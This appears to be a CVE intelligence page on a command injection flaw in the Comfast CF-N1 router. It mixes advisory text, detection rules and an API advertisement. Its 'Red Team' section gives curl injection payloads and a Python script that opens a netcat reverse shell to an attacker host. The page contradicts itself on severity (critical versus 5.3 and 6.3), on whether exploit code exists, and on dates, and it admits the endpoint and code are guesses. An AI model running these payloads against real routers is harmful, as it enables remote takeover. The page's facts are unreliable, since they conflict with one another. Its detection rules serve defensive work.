☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 🐛 CWE-74
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-9585

CVE-2025-9585 Command Injection in Comfast
📅 PUBLISHED: 2025-08-28 20:32 UTC 🔄 UPDATED: 2026-09-26 06:16 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 5.08%
👁️
5.08% probability
126.9× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-9585 is a critical command injection vulnerability affecting the Comfast CF-N1 router running firmware version 2.6.0. The flaw resides in the wifilith_delete_pic_file function within the /usr/bin/webmgnt binary. By manipulating the portal_delete_picname argument, an unauthenticated remote attacker can inject arbitrary operating system commands. The exploit has been publicly disclosed, increasing the risk of widespread exploitation. No official patch is currently available from the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 6.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
  • Attack Vector: Network (AV:N) – exploitable remotely.
  • Attack Complexity: Low (AC:L) – no special conditions required.
  • Privileges Required: None (PR:N) – no authentication needed.
  • User Interaction: None (UI:N) – no user action required.
  • Scope: Unchanged (S:U) – vulnerability does not affect other components.
  • Confidentiality Impact: Low (C:L) – limited data exposure.
  • Integrity Impact: Low (I:L) – limited modification possible.
  • Availability Impact: Low (A:L) – limited service disruption.

Threat Level: Elevated. The public availability of exploit code and the lack of a patch make this a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the wifilith_delete_pic_file function of the /usr/bin/webmgnt binary. This binary handles web management requests on the Comfast CF-N1 router. The function is designed to delete a picture file specified by the portal_delete_picname parameter. However, the input is not properly sanitized before being passed to a system shell command (e.g., system() or popen()). An attacker can inject shell metacharacters such as ;, |, &, or backticks to execute arbitrary commands.

Attack Flow:

  1. The attacker sends an HTTP request to the vulnerable endpoint (likely /cgi-bin/webmgnt or similar).
  2. The request includes the portal_delete_picname parameter with a malicious payload, e.g., ;id.
  3. The web server passes the unsanitized input to the shell command, resulting in execution of the injected command.
  4. The attacker can then execute further commands to gain a reverse shell, exfiltrate data, or pivot to internal networks.

Root Cause: Lack of input validation and use of shell execution functions without proper escaping.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only reference. The following is a hypothetical representation of the vulnerable function:

Vulnerable Code (C-like pseudocode):

void wifilith_delete_pic_file(char *portal_delete_picname) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "rm -f /var/www/images/%s", portal_delete_picname);
    system(cmd);
}

Patched Code (Hypothetical):

void wifilith_delete_pic_file(char *portal_delete_picname) {
    // Validate input: only allow alphanumeric and specific safe characters
    if (!is_valid_filename(portal_delete_picname)) {
        return;
    }
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "rm -f /var/www/images/%s", portal_delete_picname);
    system(cmd);
}

The patch would require strict input validation (e.g., whitelist of allowed characters) and avoidance of shell execution where possible (e.g., using unlink() directly).

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A Comfast CF-N1 router with firmware 2.6.0.
  • Network access to the router's management interface (typically port 80 or 443).

Exploit Payload:

# Basic command injection to execute 'id'
curl -X POST "http://<router_ip>/cgi-bin/webmgnt" \
  --data "portal_delete_picname=;id"

Reverse Shell Payload:

# Using netcat to get a reverse shell
curl -X POST "http://<router_ip>/cgi-bin/webmgnt" \
  --data "portal_delete_picname=;nc -e /bin/sh <attacker_ip> 4444"

Full Exploit Script (Python):

import requests
import sys

target = sys.argv[1]
attacker_ip = sys.argv[2]
attacker_port = sys.argv[3]

payload = f";nc -e /bin/sh {attacker_ip} {attacker_port}"
url = f"http://{target}/cgi-bin/webmgnt"
data = {"portal_delete_picname": payload}

try:
    r = requests.post(url, data=data, timeout=5)
    print(f"[+] Payload sent to {target}")
except Exception as e:
    print(f"[-] Error: {e}")

Blue Team

Detection Steps:

  1. Monitor HTTP POST requests to /cgi-bin/webmgnt with suspicious portal_delete_picname parameters containing shell metacharacters (;, |, &, `).
  2. Look for outbound connections from the router to unusual IPs/ports (e.g., netcat reverse shells).
  3. Check for unexpected processes spawned by webmgnt (e.g., sh, bash, nc).

Honeypot Setup:

  • Deploy a fake Comfast CF-N1 router using a low-interaction honeypot (e.g., Cowrie) to capture exploit attempts.
  • Log all portal_delete_picname values for analysis.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP POST requests to /cgi-bin/webmgnt with portal_delete_picname containing shell metacharacters.
    • Outbound connections from the router to external IPs on high ports (e.g., 4444, 1337).
  • File IOCs:
    • Unexpected files in /var/www/images/ or /tmp/ created by injected commands.
  • Process IOCs:
    • Processes named sh, bash, nc, python, or perl spawned by webmgnt.
  • Log IOCs:
    • System log entries showing execution of rm -f with unusual arguments.

Detection Engineering

YARA Rule

rule CVE_2025_9585_Comfast_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting CVE-2025-9585 in Comfast CF-N1"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-9585"
    strings:
        $s1 = "portal_delete_picname" ascii wide nocase
        $s2 = ";" ascii wide
        $s3 = "|" ascii wide
        $s4 = "&" ascii wide
        $s5 = "`" ascii wide
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2025-9585 Comfast CF-N1 Command Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests with command injection payloads in portal_delete_picname parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'portal_delete_picname'
        cs-uri-query|re: '.*[;|&`].*'
    condition: selection
falsepositives:
    - Legitimate use of special characters in filenames (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-9585 Comfast CF-N1 Command Injection"; flow:to_server; content:"POST"; http_method; content:"/cgi-bin/webmgnt"; http_uri; content:"portal_delete_picname"; http_client_body; pcre:"/[;|&`]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable remote management on the Comfast CF-N1 router if not required.
  2. Restrict access to the management interface using firewall rules (allow only trusted IPs).
  3. Monitor logs for exploitation attempts using the provided detection rules.

Long-Term Fix:

  • Since no official patch is available, consider replacing the device with a supported alternative.
  • If replacement is not possible, implement a Web Application Firewall (WAF) rule to block requests containing shell metacharacters in the portal_delete_picname parameter.

Workaround:

  • Manually patch the /usr/bin/webmgnt binary by removing or disabling the wifilith_delete_pic_file function (requires firmware modification and re-flashing).

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-9585/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.